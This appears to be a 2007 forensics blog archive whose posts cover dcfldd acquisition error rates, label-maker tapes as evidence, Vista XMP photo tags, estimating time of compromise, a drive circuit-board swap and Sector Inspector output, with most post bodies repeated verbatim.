In many states in the US the Daubert rulings serve as a litmus test for acceptance of the testimony for the forensic expert in court. One of the challenges for acceptance of a method is the known error rate, or potential for error. I hinted at this in a previous entry when I mentioned the margin of error for the procedures used by security teams. I'd like to expand this for the purposes of this entry to those who acquire images using a procedure that is based on typed commands.
I'd like to use dcfldd as my example for this. Let me state that I love dcfldd. I use it all the time, and it's a fantastic tool. I don't see the flaw here being in the tool (although the vast capabilities of the tool can make an acquisition command very complex), but rather the major source of error is the human. Let's take a few sample acquisition commands going from simple to complex:
dcfldd if=/dev/fd0 of=/home/foo/evidence/dcfldd_test.dd bs=512 hashwindow=0 hashlog=/home/foo/md5.txt hash=md5
hogfly@blackwootsy:~$ wc /tmp/acquisition.txt
1 line, 7 words, 113 characters /tmp/acquisition.txt
dcfldd if=/dev/hda conv=noerror,sync hashwindow=0 hash=sha256 hashconv=after hashlog=/media/sda1/Case123/Images/SN1234563.dd.sha256 of=/media/sda1/Case123/Images/SN1234563.dd
hogfly@blackwootsy:~$ wc /tmp/acquisition.txt
1 8 176 /tmp/acquisition.txt
dcfldd if=/dev/hde conv=noerror,sync hashwindow=1M hash=md5 hashconv=after hashlog=/mnt/hdg1/dd-a00032/a00032.hash.log split=640M splitformat=aa of=/mnt/hdg1/dd-a00032/a00032.image of=/mnt/hdh1/dd-a00032/a00032.image
hogfly@blackwootsy:~$ wc /tmp/acquisition.txt
1 11 218 /tmp/acquisition.txt
Please be aware that I was replacing the text in acquisition.txt each time - I just didn't include those commands here for brevity.
So, what we see here is up to 218 characters for a single command that creates two images on two separate disks. Note that this is simply the culmination of the acquisition process. There are several other steps I haven't included here like: directory creation, mount commands, date, hwclock, dmesg, hdparm, disk_stat, fdisk, mmls, or the verification commands.
I decided to take a stroll down google lane for human error rates in a multistep typing process and came across the following site related to studies of human error. All credit for the resource goes to Ray Panko. I leave validation of the resources up to those who read the site.
The studies he's listed on his site are quite shocking when it comes to typed error rates. These studies contain error rates from 5.6% all the way up to 82% for SQL professionals!
I wonder what the error rate would be in conducting an acquisition from the command line in Linux. Is anyone aware of a study of something like this? Recall if you will that the Daubert challenge is about known or potential error rates in the procedure. Of course the damage caused by typos can be mitigated by using a write blocker but many folks like to believe that you don't *need* a write blocker if you acquire an image using linux. I tend to think that a study in "error rates of command line acquisitions" will lead to a large potential error rate in the process and that those that use command line acquisition tools should wrap the commands in scripts or use a GUI tool that's capable of meeting their need.
Thoughts?
I'd like to use dcfldd as my example for this. Let me state that I love dcfldd. I use it all the time, and it's a fantastic tool. I don't see the flaw here being in the tool (although the vast capabilities of the tool can make an acquisition command very complex), but rather the major source of error is the human. Let's take a few sample acquisition commands going from simple to complex:
dcfldd if=/dev/fd0 of=/home/foo/evidence/dcfldd_test.dd bs=512 hashwindow=0 hashlog=/home/foo/md5.txt hash=md5
hogfly@blackwootsy:~$ wc /tmp/acquisition.txt
1 line, 7 words, 113 characters /tmp/acquisition.txt
dcfldd if=/dev/hda conv=noerror,sync hashwindow=0 hash=sha256 hashconv=after hashlog=/media/sda1/Case123/Images/SN1234563.dd.sha256 of=/media/sda1/Case123/Images/SN1234563.dd
hogfly@blackwootsy:~$ wc /tmp/acquisition.txt
1 8 176 /tmp/acquisition.txt
dcfldd if=/dev/hde conv=noerror,sync hashwindow=1M hash=md5 hashconv=after hashlog=/mnt/hdg1/dd-a00032/a00032.hash.log split=640M splitformat=aa of=/mnt/hdg1/dd-a00032/a00032.image of=/mnt/hdh1/dd-a00032/a00032.image
hogfly@blackwootsy:~$ wc /tmp/acquisition.txt
1 11 218 /tmp/acquisition.txt
Please be aware that I was replacing the text in acquisition.txt each time - I just didn't include those commands here for brevity.
So, what we see here is up to 218 characters for a single command that creates two images on two separate disks. Note that this is simply the culmination of the acquisition process. There are several other steps I haven't included here like: directory creation, mount commands, date, hwclock, dmesg, hdparm, disk_stat, fdisk, mmls, or the verification commands.
I decided to take a stroll down google lane for human error rates in a multistep typing process and came across the following site related to studies of human error. All credit for the resource goes to Ray Panko. I leave validation of the resources up to those who read the site.
The studies he's listed on his site are quite shocking when it comes to typed error rates. These studies contain error rates from 5.6% all the way up to 82% for SQL professionals!
I wonder what the error rate would be in conducting an acquisition from the command line in Linux. Is anyone aware of a study of something like this? Recall if you will that the Daubert challenge is about known or potential error rates in the procedure. Of course the damage caused by typos can be mitigated by using a write blocker but many folks like to believe that you don't *need* a write blocker if you acquire an image using linux. I tend to think that a study in "error rates of command line acquisitions" will lead to a large potential error rate in the process and that those that use command line acquisition tools should wrap the commands in scripts or use a GUI tool that's capable of meeting their need.
Thoughts?
Don't forget the label maker!
I assume most people remember the days of carbon copy paper. While at the office today, someone brought me a Casio label maker that was "broken". I promptly opened up the tape compartment, pulled out the tape and noticed it was empty. Normally, it's not something that the administrative people in my building think of, but these empty tapes are simply tossed out. Today for one reason or another, my curiosity got the best of me, and I started to rewind the tape. As I was rewinding it I started seeing the blank spots in the form of letters and numbers where the black ink from the tape was transferred to the white label to actually print the label. I decided to disassemble the empty tape and provide some pictures of what I did.
Here's the disassembled tape next to the label maker. I tried to keep the reels in relative form to a working tape.
And here's some tape content:
Are those passwords, or references to files that may be on a computer? Who knows but it's a starting point. In addition to the tapes, many label makers have memory(the 8100 has about a 2500 character capacity) and are capable of being plugged in to a computer to receive and print data. So, next time you're on site and processing a cubicle or office or what have you Don't forget the label maker! You never know what you'll find and it may just help when you create keyword search lists, or password wordlists.
I'm now in search of the cable to see what can be transferred or if memory can be retrieved.
Here's the disassembled tape next to the label maker. I tried to keep the reels in relative form to a working tape.
And here's some tape content:
Are those passwords, or references to files that may be on a computer? Who knows but it's a starting point. In addition to the tapes, many label makers have memory(the 8100 has about a 2500 character capacity) and are capable of being plugged in to a computer to receive and print data. So, next time you're on site and processing a cubicle or office or what have you Don't forget the label maker! You never know what you'll find and it may just help when you create keyword search lists, or password wordlists.
I'm now in search of the cable to see what can be transferred or if memory can be retrieved.
Wednesday, April 18, 2007
The keystone kops
Mark Mckinnon of CFED-TTF, in a response to my Peer Review entry mentions that "One thing I was thinking about was by publishing this information you are letting every Tom, Dick and Harry have the information, they would then throw out there own shingle and state that they are a computer forensics professional because they know how to acquire a drive"
Today I heard a reference to the keystone kops and I guess I wasn't surprised but it was referring to image acquisition by untrained personnel. I found this reference to "incompetent cops" to be very fitting and I've seen this problem with a lot of folks who "do forensics" as part of other job duties yet they have no training and perhaps even more detrimental, they have no interest.
Forensics work is tedious, sometimes boring and requires dedication, attention to detail, and the person doing the work must be meticulous about everything. There is a side of forensics that has been called "Nintendo forensics" by Harlan Carvey, and unfortunately that's what a lot of IT and IT security staffs are practicing. There is no understanding of the underlying process, and the margin of error in the procedures used by these security teams is too high. I firmly believe that just about anyone with common sense and a basic understanding of computing can become a forensic investigator (it's not rocket science), but some people just are not cut out for the work.
If you lead a security team or are a member of one and you are commonly involved in forensics tasks you need to ask yourself and the other members if there is interest in performing forensics work. If the interest isn't there, then for the sake of your organization, assign them to another task. There is simply too much at stake to continue putting your organization at risk. Utilize the skills of your team members where and when it makes sense to.
To quote Martin Sheen from the Departed:
"What I'm asking you is this - Do you want to be a cop, or do you want to *appear* to be a cop? A lot of guys just want to appear to be cops: gun, badge, pretend they're on TV."
Today I heard a reference to the keystone kops and I guess I wasn't surprised but it was referring to image acquisition by untrained personnel. I found this reference to "incompetent cops" to be very fitting and I've seen this problem with a lot of folks who "do forensics" as part of other job duties yet they have no training and perhaps even more detrimental, they have no interest.
Forensics work is tedious, sometimes boring and requires dedication, attention to detail, and the person doing the work must be meticulous about everything. There is a side of forensics that has been called "Nintendo forensics" by Harlan Carvey, and unfortunately that's what a lot of IT and IT security staffs are practicing. There is no understanding of the underlying process, and the margin of error in the procedures used by these security teams is too high. I firmly believe that just about anyone with common sense and a basic understanding of computing can become a forensic investigator (it's not rocket science), but some people just are not cut out for the work.
If you lead a security team or are a member of one and you are commonly involved in forensics tasks you need to ask yourself and the other members if there is interest in performing forensics work. If the interest isn't there, then for the sake of your organization, assign them to another task. There is simply too much at stake to continue putting your organization at risk. Utilize the skills of your team members where and when it makes sense to.
To quote Martin Sheen from the Departed:
"What I'm asking you is this - Do you want to be a cop, or do you want to *appear* to be a cop? A lot of guys just want to appear to be cops: gun, badge, pretend they're on TV."
Monday, April 16, 2007
Vista tags
Today I set out to play with Vista tags a bit. If you're not yet familiar with the idea of tagging, get a gmail account and check it out - they're referred to as "labels". However, they are tags, which is intended to speed up searching capabilities when trying to find messages. Microsoft caught on and released this feature with Vista, and it's something that has a certain forensic value considering a lot of what forensic examiners deal with are explicit images. Tagging was added it seems only for Office documents and JPEG's for one reason or another. I suppose it's due to the XMP specification support only being in JPEG's TIFF's and the new office document format.
Tagging also has ties to saved searches - a cool feature with its own forensic value.
For a real quick overview of Vista tags check out lifehacker.
I decided to start with JPEG files since EXIF metadata is pretty well documented. First, I grabbed a few random pictures I had laying around from when I was doing some work in my basement and threw them on to a vista enterprise test box. I added a few simple tags like: basement, stairs, wall. After this I pulled the jpeg in to a hex editor and noticed immediate changes. Other than metadata actually being displaced, the major addition to a tagged JPEG is the addition of Adobe XMP metadata using the RDF framework. The offset doesn't appear to be static, however it has an easily recognizable identifier. The identifier is an xml header used for XMP: http://ns.adobe.com/xap/1.0/
I'm not going to bother going in to the XMP specification here, if you want to read more, read the specification here
Continuing on..Vista gives the user the ability to use multiple tags per file and stores them in a series of RDF arrays.
Here's what a Vista user sees:
And this is what the xml looks like behind the scenes (Hex removed) and I apologize ahead of time for the formatting issues, I guess xml is processed by blogger...so I had to reverse some of the brackets to get this to post, and lost indentation.
-http://ns.adobe.com/xap/1.0/>
>?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?>
>xmp:xmpmeta xmlns:xmp="adobe:ns:meta/">
>rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
>rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:dc="http://purl.org/dc/elements/1.1/">
>dc:subject>
>rdf:Bag xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
>rdf:li>Basement>/rdf:li>
>rdf:li>stairs, wall>/rdf:li>
>/rdf:Bag>
>/dc:subject>
>/rdf:Description>
>rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b"xmlns:MicrosoftPhoto="http://ns.microsoft.com/photo/1.0">
>MicrosoftPhoto:LastKeywordXMP>
>rdf:Bag xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
>rdf:li>Basement>/rdf:li>
>rdf:li>stairs, wall>/rdf:li>
>/rdf:Bag>
>/MicrosoftPhoto:LastKeywordXMP>
>/rdf:Description>
>rdf:Description xmlns:xmp="http://ns.adobe.com/xap/1.0/">
>xmp:Rating>4>/xmp:Rating>
>/rdf:Description>
>rdf:Description xmlns:MicrosoftPhoto="http://ns.microsoft.com/photo/1.0">
>MicrosoftPhoto:Rating>75>/MicrosoftPhoto:Rating>
>/rdf:Description>
>rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/">
>dc:creator>
>rdf:Seq xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
>rdf:li>me>/rdf:li>
>/rdf:Seq>
>/dc:creator>
>dc:description>
>rdf:Alt xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
>rdf:li xml:lang="x-default">testing>/rdf:li>
>/rdf:Alt>.
>/dc:description>
>/rdf:Description>
I've tried to use bold faced text to highlight the tags I used. When using a metadata processing tool, unless something converts the XMP element identifiers for you you'll see something similar to what exiftool spits out:
[XMP] Subject : Basement, stairs, wall
[XMP] Last Keyword XMP : Basement, stairs, wall
[XMP] Rating : 4
[XMP] Rating Percent : 75
[XMP] Creator : me
[XMP] Description : testing
[XMP] Artist : me
[XMP] User Comment : cool huh?
Most metadata parsers I tried wouldn't pull out this information since they haven't been updated to parse XMP metadata, and the MicrosoftPhoto specific tags. Note that exiftool is written in perl and has submodules that are available, one is Image::ExifTool::XMP
Which gets loaded as required when parsing XMP data. Harlan Carvey mentions perl and forensics quite a bit, and I definitely think it plays an important role and this is just another reason to try it.
There is one more thing worth mentioning about tags and the choice to add metadata directly to files - The user can easily remove this information.
That's all I've got on tags for the time being - anyone have something to add?
Tagging also has ties to saved searches - a cool feature with its own forensic value.
For a real quick overview of Vista tags check out lifehacker.
I decided to start with JPEG files since EXIF metadata is pretty well documented. First, I grabbed a few random pictures I had laying around from when I was doing some work in my basement and threw them on to a vista enterprise test box. I added a few simple tags like: basement, stairs, wall. After this I pulled the jpeg in to a hex editor and noticed immediate changes. Other than metadata actually being displaced, the major addition to a tagged JPEG is the addition of Adobe XMP metadata using the RDF framework. The offset doesn't appear to be static, however it has an easily recognizable identifier. The identifier is an xml header used for XMP: http://ns.adobe.com/xap/1.0/
I'm not going to bother going in to the XMP specification here, if you want to read more, read the specification here
Continuing on..Vista gives the user the ability to use multiple tags per file and stores them in a series of RDF arrays.
Here's what a Vista user sees:
And this is what the xml looks like behind the scenes (Hex removed) and I apologize ahead of time for the formatting issues, I guess xml is processed by blogger...so I had to reverse some of the brackets to get this to post, and lost indentation.
-http://ns.adobe.com/xap/1.0/>
>?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?>
>xmp:xmpmeta xmlns:xmp="adobe:ns:meta/">
>rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
>rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:dc="http://purl.org/dc/elements/1.1/">
>dc:subject>
>rdf:Bag xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
>rdf:li>Basement>/rdf:li>
>rdf:li>stairs, wall>/rdf:li>
>/rdf:Bag>
>/dc:subject>
>/rdf:Description>
>rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b"xmlns:MicrosoftPhoto="http://ns.microsoft.com/photo/1.0">
>MicrosoftPhoto:LastKeywordXMP>
>rdf:Bag xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
>rdf:li>Basement>/rdf:li>
>rdf:li>stairs, wall>/rdf:li>
>/rdf:Bag>
>/MicrosoftPhoto:LastKeywordXMP>
>/rdf:Description>
>rdf:Description xmlns:xmp="http://ns.adobe.com/xap/1.0/">
>xmp:Rating>4>/xmp:Rating>
>/rdf:Description>
>rdf:Description xmlns:MicrosoftPhoto="http://ns.microsoft.com/photo/1.0">
>MicrosoftPhoto:Rating>75>/MicrosoftPhoto:Rating>
>/rdf:Description>
>rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/">
>dc:creator>
>rdf:Seq xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
>rdf:li>me>/rdf:li>
>/rdf:Seq>
>/dc:creator>
>dc:description>
>rdf:Alt xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
>rdf:li xml:lang="x-default">testing>/rdf:li>
>/rdf:Alt>.
>/dc:description>
>/rdf:Description>
I've tried to use bold faced text to highlight the tags I used. When using a metadata processing tool, unless something converts the XMP element identifiers for you you'll see something similar to what exiftool spits out:
[XMP] Subject : Basement, stairs, wall
[XMP] Last Keyword XMP : Basement, stairs, wall
[XMP] Rating : 4
[XMP] Rating Percent : 75
[XMP] Creator : me
[XMP] Description : testing
[XMP] Artist : me
[XMP] User Comment : cool huh?
Most metadata parsers I tried wouldn't pull out this information since they haven't been updated to parse XMP metadata, and the MicrosoftPhoto specific tags. Note that exiftool is written in perl and has submodules that are available, one is Image::ExifTool::XMP
Which gets loaded as required when parsing XMP data. Harlan Carvey mentions perl and forensics quite a bit, and I definitely think it plays an important role and this is just another reason to try it.
There is one more thing worth mentioning about tags and the choice to add metadata directly to files - The user can easily remove this information.
That's all I've got on tags for the time being - anyone have something to add?
Thursday, April 12, 2007
Establishing Time-0
One of the things I find most interesting/fascinating is that by studying criminology and criminalistics we can learn a lot about our field, since digital forensic science and computer investigations were founded in real world investigation. I'm constantly amazed at the parallels that can be drawn and the direct connections to investigative techniques can be made. Other forensic sciences can have a great impact on digital forensic science.
In real world investigations, there are several major methods of estimating Time of Death for a victim. Coroners and Crime Scene Investigators refer to lividity(livor mortis), rigor mortis, algor mortis(body temperature) along with other factors like insects, weather, and other evidence to estimate the time of death. Today, I was reading a paper I found on establishing TOD on Pathguy's site. The paper was from the University of Dundee, written by Derrick J. Pounder.
The paper is a good read for those interested (it's the first resource link on the pathguy site above) and contains a lot of relevant but abstract information.
Some good quotes from the paper:
"Repeated experience teaches the investigator to be wary of relying on any single observation for estimating the time of death(or "duration of the post mortem interval"), and he wisely avoids making dogmatic statements based on an isolated observation".(Ref. 12 p. 151)
"Considering the variables which influence the rate of body heat loss, the best one can say about the reliability of algor mortis as a post mortem clock is that it permits a rough approximation of time of death. Errors in over-estimating and under-estimating the post mortem interval based on body cooling are common, even in the face of considerable experience by those making the estimate. Body temperature as an indicator of the post mortem interval should be correlated with all other phenomenon and observations utilised in establishing the time of death".(Ref 12 p. 164)
Pounder states that there are three major sources of evidence when establishing TOD for a body.
1) Corporal evidence, i.e. that present in the body.
2) Environmental and associated evidence, i.e. that present in the vicinity of the body
3) Anamnestic evidence, ie.e that based on the deceased's ordinary habits, movements, and day to day activities.
And he states that there are two methods for estimating time of death:
1) The rate method. Analysis of rigor, algor, livor mortis and degree of putrefaction of the body.
2) The concurrence method - Comparing the occurrence of events which took place at known times with the time of occurrence of the event under investigation, i.e. death.
I hope you can see where I'm headed with this. Time for correlation of sciences. When it comes to digital investigations, I call TOD Time-0 or T-0 for short and it refers to Time of Compromise.
First off, I think it's time we throw out any of the "centric" types of forensics. That is - Host-Centric Forensics, and Network-Centric Forensics. As the first quote states "..avoid dogmatic statements based on isolated observations". The only way to reliably establish T-0 or an accurate conclusion is with a combination of sources.
Let's begin our correlation with sources of evidence. Remember, the purpose here is to establish a preliminary T-0, however the ideas and principles stated should be able carry an investigator all the way through an investigation.
1) Corporal- That within the body. When investigating a compromised system we know there is a mountain of evidence to be searched through. However, since we're establishing T-0, not looking for specific signs that say..sensitive data was accessed(that comes later), we can reduce the amount of evidence we are searching.
This data can be classified as evidence belonging to the system. Follow the Order of Volatility.
The OOV suggests that we need to look at routing tables, arp caches, network connections, process listings, memory and a host of other things.
By parsing out specific subsets of data we can move to the second source of evidence and use the information to inform our decision making. Remember that each source of evidence can exist independently, but each source is best used if correlated, and they should inform and corroborate each other.
To use Corporal evidence to inform our decisions for searching Environmental evidence we should look at the volatile data for IP addresses, MAC addresses, mapped network shares(NFS exports, windows shares etc), hostname or netbios information, and registry key last write times and their contents. Essentially, we are looking at/for established relationships between systems.
Using Corporal evidence on it's own to establish T-0 typically involves the registry, MAC times, process run times, event logs, application logs, prefetch files and continued volatile data analysis.
This is all yet another reason for conducting a digital walkthrough.
2) Environmental and associated - that surrounding the body. This correlates directly to network based evidence and evidence found on other systems. To use environmental evidence to maximum efficiency we need to collect logs from any device related to the victim. That would be Domain Controllers, LDAP servers, mail servers, DHCP servers, DNS servers, firewalls, routers, IDS/IPS, anomaly detection systems and so on.
With Environmental evidence we're looking for data that corroborates what we're finding on the system in question. Again, this evidence stands well enough on its own and can in many cases be a better pointer source of evidence than Corporal evidence. One good example is FTP. Since FTP transactions are cleartext, we can capture the entire session on the wire, whereas by looking at Corporal evidence, all we generally see is that ftp was executed at a specific time and we'll see the end result of the session. How about SAM dumps? When the windows SAM is dumped we can typically(I say typically because encryption is being used more frequently but it's rate is not as high) see it on the network, and we can conclusively prove that it was offloaded, whereas with Corporal evidence we might see that the SAM was accessed and if we're lucky if we find the dumping program.
3) Anamnestic - behavioral. I'd use this as a method of establishing a sense of normalcy for the system. I've said before, that in order to identify abnormal system behavior, we need to establish normal system behavior first. This is commonly called baselining but more information is needed. We should establish what normal behavior is and identify when abnormal behavior began. Pay close attention to helpdesk tickets, interview responses from staff, and otherwise benign indicators. Recall if you will that the story that made Cliff Stoll famous started with a simple accounting anomaly.
Unfortunately in many cases we do not have all or any of the information we need to accurately establish Time-0 so we can only estimate a time. At this point we can look at the methods of estimation as outlined by Pounder and determine if either of them applies. It would seem that the Concurrence method is the best fit for digital forensics. By correlating events that transpired on the system, or systems related to the victim, or on the network we can establish a reasonable estimate of Time-0.
Why is Time-0 so important? Well, in my methodology, Time-0 is important because we can establish what I call a Window of Risk. The Window of Risk is the temporal measurement between Time-0 and Time-C(Time of Containment). Time-C - Time-0 = WoR. Having a Window of Risk allows us to focus the investigation.
Have I gone mad or does this make sense?
In real world investigations, there are several major methods of estimating Time of Death for a victim. Coroners and Crime Scene Investigators refer to lividity(livor mortis), rigor mortis, algor mortis(body temperature) along with other factors like insects, weather, and other evidence to estimate the time of death. Today, I was reading a paper I found on establishing TOD on Pathguy's site. The paper was from the University of Dundee, written by Derrick J. Pounder.
The paper is a good read for those interested (it's the first resource link on the pathguy site above) and contains a lot of relevant but abstract information.
Some good quotes from the paper:
"Repeated experience teaches the investigator to be wary of relying on any single observation for estimating the time of death(or "duration of the post mortem interval"), and he wisely avoids making dogmatic statements based on an isolated observation".(Ref. 12 p. 151)
"Considering the variables which influence the rate of body heat loss, the best one can say about the reliability of algor mortis as a post mortem clock is that it permits a rough approximation of time of death. Errors in over-estimating and under-estimating the post mortem interval based on body cooling are common, even in the face of considerable experience by those making the estimate. Body temperature as an indicator of the post mortem interval should be correlated with all other phenomenon and observations utilised in establishing the time of death".(Ref 12 p. 164)
Pounder states that there are three major sources of evidence when establishing TOD for a body.
1) Corporal evidence, i.e. that present in the body.
2) Environmental and associated evidence, i.e. that present in the vicinity of the body
3) Anamnestic evidence, ie.e that based on the deceased's ordinary habits, movements, and day to day activities.
And he states that there are two methods for estimating time of death:
1) The rate method. Analysis of rigor, algor, livor mortis and degree of putrefaction of the body.
2) The concurrence method - Comparing the occurrence of events which took place at known times with the time of occurrence of the event under investigation, i.e. death.
I hope you can see where I'm headed with this. Time for correlation of sciences. When it comes to digital investigations, I call TOD Time-0 or T-0 for short and it refers to Time of Compromise.
First off, I think it's time we throw out any of the "centric" types of forensics. That is - Host-Centric Forensics, and Network-Centric Forensics. As the first quote states "..avoid dogmatic statements based on isolated observations". The only way to reliably establish T-0 or an accurate conclusion is with a combination of sources.
Let's begin our correlation with sources of evidence. Remember, the purpose here is to establish a preliminary T-0, however the ideas and principles stated should be able carry an investigator all the way through an investigation.
1) Corporal- That within the body. When investigating a compromised system we know there is a mountain of evidence to be searched through. However, since we're establishing T-0, not looking for specific signs that say..sensitive data was accessed(that comes later), we can reduce the amount of evidence we are searching.
This data can be classified as evidence belonging to the system. Follow the Order of Volatility.
The OOV suggests that we need to look at routing tables, arp caches, network connections, process listings, memory and a host of other things.
By parsing out specific subsets of data we can move to the second source of evidence and use the information to inform our decision making. Remember that each source of evidence can exist independently, but each source is best used if correlated, and they should inform and corroborate each other.
To use Corporal evidence to inform our decisions for searching Environmental evidence we should look at the volatile data for IP addresses, MAC addresses, mapped network shares(NFS exports, windows shares etc), hostname or netbios information, and registry key last write times and their contents. Essentially, we are looking at/for established relationships between systems.
Using Corporal evidence on it's own to establish T-0 typically involves the registry, MAC times, process run times, event logs, application logs, prefetch files and continued volatile data analysis.
This is all yet another reason for conducting a digital walkthrough.
2) Environmental and associated - that surrounding the body. This correlates directly to network based evidence and evidence found on other systems. To use environmental evidence to maximum efficiency we need to collect logs from any device related to the victim. That would be Domain Controllers, LDAP servers, mail servers, DHCP servers, DNS servers, firewalls, routers, IDS/IPS, anomaly detection systems and so on.
With Environmental evidence we're looking for data that corroborates what we're finding on the system in question. Again, this evidence stands well enough on its own and can in many cases be a better pointer source of evidence than Corporal evidence. One good example is FTP. Since FTP transactions are cleartext, we can capture the entire session on the wire, whereas by looking at Corporal evidence, all we generally see is that ftp was executed at a specific time and we'll see the end result of the session. How about SAM dumps? When the windows SAM is dumped we can typically(I say typically because encryption is being used more frequently but it's rate is not as high) see it on the network, and we can conclusively prove that it was offloaded, whereas with Corporal evidence we might see that the SAM was accessed and if we're lucky if we find the dumping program.
3) Anamnestic - behavioral. I'd use this as a method of establishing a sense of normalcy for the system. I've said before, that in order to identify abnormal system behavior, we need to establish normal system behavior first. This is commonly called baselining but more information is needed. We should establish what normal behavior is and identify when abnormal behavior began. Pay close attention to helpdesk tickets, interview responses from staff, and otherwise benign indicators. Recall if you will that the story that made Cliff Stoll famous started with a simple accounting anomaly.
Unfortunately in many cases we do not have all or any of the information we need to accurately establish Time-0 so we can only estimate a time. At this point we can look at the methods of estimation as outlined by Pounder and determine if either of them applies. It would seem that the Concurrence method is the best fit for digital forensics. By correlating events that transpired on the system, or systems related to the victim, or on the network we can establish a reasonable estimate of Time-0.
Why is Time-0 so important? Well, in my methodology, Time-0 is important because we can establish what I call a Window of Risk. The Window of Risk is the temporal measurement between Time-0 and Time-C(Time of Containment). Time-C - Time-0 = WoR. Having a Window of Risk allows us to focus the investigation.
Have I gone mad or does this make sense?
Sunday, April 8, 2007
When things go wrong
I previously mentioned something about drives failing while in the posession of the examiner. I mentioned it, not only as a theoretical warning but one brought about from experience.
While working on one incident last year I was acquiring some disk images, putting multiple images on one target disk - which is not an uncommon practice. After a couple of successful images were acquired and the originals were picked up, I was powering down my workstation and all of a sudden I started smelling burning electronics, followed quickly by a metallic chemical smell. If you don't know this smell, it's what happens when a capacitor explodes.
I took pictures of this occurance for various reasons, one was to cover my butt and prove my procedure, the other was to eventually share the information. The time has come to share it.
First, a look at patient X - note the burned metal tray from my external case:
And a nice shot of the blown cap:
Like most normal people I was a little annoyed that this had happened, let alone during an incident and with the only copies of the images on an unusable hard drive. However all was not lost. I ordered a next day replacement for the drive, a 500GB seagate 7200.9 IDE from zipzoomfly.
The first thing I did when the new drive arrived was make sure the date codes for the two drives were close.
06345 - the new drive
06257 - the dead drive
Those dates look pretty close, but what does that actually mean?
Date Code : YYWWD
* YY: fiscal year, beginning on the 1st Saturday of July YY-1
* WW: fiscal weeks from 1st Saturday of July YY-1
* D: days from the beginning of week WW (weeks run from Saturday to Friday)
The new drive was dated as 2006, wk 34, day 5.
The old drive was dated 2006, wk 25, day 7.
Those dates were pretty close, so I went ahead with the PCB replacement. Generally speaking, PCB replacement doesn't always work because the manufacturers like to change code pretty regularly.
The drives shown side by side:
The reverse side, with the bad PCB removed from the dead drive:
After this, it's just a simple matter of pulling the PCB off of the new drive, and placing it on the old one. Just a few screws later I was back in business and promptly made an extra copy of the images.
Some people will look at this and say oh how...fundamental. Well, yes it is, but the people I was turning the disk over to for the examination didn't even know how this was done.
Lesson learned?
Be prepared for the worst, and know how to handle it.
While working on one incident last year I was acquiring some disk images, putting multiple images on one target disk - which is not an uncommon practice. After a couple of successful images were acquired and the originals were picked up, I was powering down my workstation and all of a sudden I started smelling burning electronics, followed quickly by a metallic chemical smell. If you don't know this smell, it's what happens when a capacitor explodes.
I took pictures of this occurance for various reasons, one was to cover my butt and prove my procedure, the other was to eventually share the information. The time has come to share it.
First, a look at patient X - note the burned metal tray from my external case:
And a nice shot of the blown cap:
Like most normal people I was a little annoyed that this had happened, let alone during an incident and with the only copies of the images on an unusable hard drive. However all was not lost. I ordered a next day replacement for the drive, a 500GB seagate 7200.9 IDE from zipzoomfly.
The first thing I did when the new drive arrived was make sure the date codes for the two drives were close.
06345 - the new drive
06257 - the dead drive
Those dates look pretty close, but what does that actually mean?
Date Code : YYWWD
* YY: fiscal year, beginning on the 1st Saturday of July YY-1
* WW: fiscal weeks from 1st Saturday of July YY-1
* D: days from the beginning of week WW (weeks run from Saturday to Friday)
The new drive was dated as 2006, wk 34, day 5.
The old drive was dated 2006, wk 25, day 7.
Those dates were pretty close, so I went ahead with the PCB replacement. Generally speaking, PCB replacement doesn't always work because the manufacturers like to change code pretty regularly.
The drives shown side by side:
The reverse side, with the bad PCB removed from the dead drive:
After this, it's just a simple matter of pulling the PCB off of the new drive, and placing it on the old one. Just a few screws later I was back in business and promptly made an extra copy of the images.
Some people will look at this and say oh how...fundamental. Well, yes it is, but the people I was turning the disk over to for the examination didn't even know how this was done.
Lesson learned?
Be prepared for the worst, and know how to handle it.
Friday, April 6, 2007
Sector Inspector
While browsing around today I came across a *not so* highly advertised tool from Microsoft. It was a late addition to the Server 2003 resource kit called Sector Inspector. Before today, I had never heard of this tool and I've never seen in mentioned.
What the heck does it do?
Well, Microsoft explains it like this: SecInspect.exe is a command-line diagnostics tool that allows administrators to view the contents of master boot records, boot sectors, and IA64 GUID partition tables. Additional features include creating hex dumps of binary files and backup/restore of sector ranges. YES Linux does and has had this capability for...years.
Sounds kind of cool eh?
Let's see what this thing can do.
c:\Program Files\Windows Resource Kits\Tools>secinspect.exe -n
0001.033
Sector Inspector Copyright Microsoft Corporation 2003
===========================================================================
Target - \\.\PHYSICALDRIVE0
18241 Cylinders
255 Heads
63 Sectors Per Track
512 BytesPerSector
12 MediaType
===========================================================================
Master Boot Record
===========================================================================
| B | FS TYPE | START | END | | |
| F | (hex) | C H S| C H S| RELATIVE | TOTAL |
===========================================================================
| * | 07 | 0 1 1|1023 254 63| 63| 163846872|
| | 00 | 0 0 0| 0 0 0| 0| 0|
| | 00 | 0 0 0| 0 0 0| 0| 0|
| | 00 | 0 0 0| 0 0 0| 0| 0|
===========================================================================
Disk Signature 0xe0efe0ef
Partition #1 NTFS backup boot sector at LBN 163846934.
---------------------------------------------------------------------------
Primary Partition 1
NTFS BIOS Parameter Block Information
BytesPerSector : 512
Sectors Per Cluster : 8
ReservedSectors : 0
Fats : 0
RootEntries : 0
Small Sectors : 0 ( 0 MB )
Media Type : 248 ( 0xf8 )
SectorsPerFat : 0
SectorsPerTrack : 63
Heads : 255
